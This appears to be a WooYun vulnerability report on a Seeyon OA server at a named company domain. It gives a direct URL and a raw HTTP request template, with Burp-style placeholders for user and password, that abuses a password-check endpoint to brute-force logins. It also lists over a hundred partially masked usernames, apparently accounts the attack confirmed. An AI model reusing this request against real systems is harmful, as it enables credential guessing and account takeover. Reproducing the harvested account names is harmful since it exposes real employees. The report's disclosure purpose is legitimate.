WooYun.org

http://oa.daojia.58.com//seeyon/getAjaxDataServlet?S=ajaxOrgManager&M=isOldPasswordCorrect&CL=true&RVT=XML&P_1_String=guoyi&P_2_String=123456

GET //seeyon/getAjaxDataServlet?S=ajaxOrgManager&M=isOldPasswordCorrect&CL=true&RVT=XML&P_1_String=§xxxuser§&P_2_String=§xxxpwd§ HTTP/1.1
Host: oa.daojia.58.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 
Connection: keep-alive

wa***en
zh***ng
wa***ui
zo***ng
zh***ng
ta***yi
wa***an
zh***ng
du***ei
ca***bo
gu***yi
di***an
ch***ng
da***li
du***ao
du***ng
fa***ui
ha***ao
hu***an
hu***di
li***ei
li***ng
li***ng
li***he
li***in
lu***ng
pe***xu
ta***ng
wa***ng
we***ng
wu***ng
xu***ia
ya***ao
ya***en
ya***ng
yi***ng
zh***un
zh***zi
zh***ng
zh***ng
zh***an
ch***ei
zh***ia
se***n2
zh***an
zh***ng
li***ao
ge***yu
du***en
zh***an
ca***an
ni***in
fa***uo
ga***ao
ya***di
wu***xu
qu***ui
ye***ng
ma***ng
su***ng
li***un
lv***ng
wa***ei
zh***hu
zh***yu
ge***yu
yi***ng
ma***li
li***an
zh***an
gu***en
bu***ue
zh***yi
xi***un
ou***li
du***in
lu***ng
di***li
ya***li
so***ng
zh***an
so***an
ji***ng
wa***an
so***ia
ba***na
ho***ei
cu***ng
ca***ua
wa***un
wa***yu
pa***an
hu***yu
hu***ya
we***yu
yu***an
ma***ao
ca***ue
me***en
zh***ng
li***ei
li***qi
hu***en
ji***an
lu***ng
gu***ei
de***yu
re***an
re***ng
we***ng
xi***ng
yu***ui
su***un
ya***na
zh***ng
ti***ge
hu***qi
zh***ng
du***an
xu***ui
ya***ei
ni***ao
hu***ng
lu***ui
ta***yu
ji***ng
li***hu
mi***su
li***ia
fe***in
wu***un
ca***ng
so***an
fa***ao
zh***ng
lu***ao
yu***bo
he***le
wa***in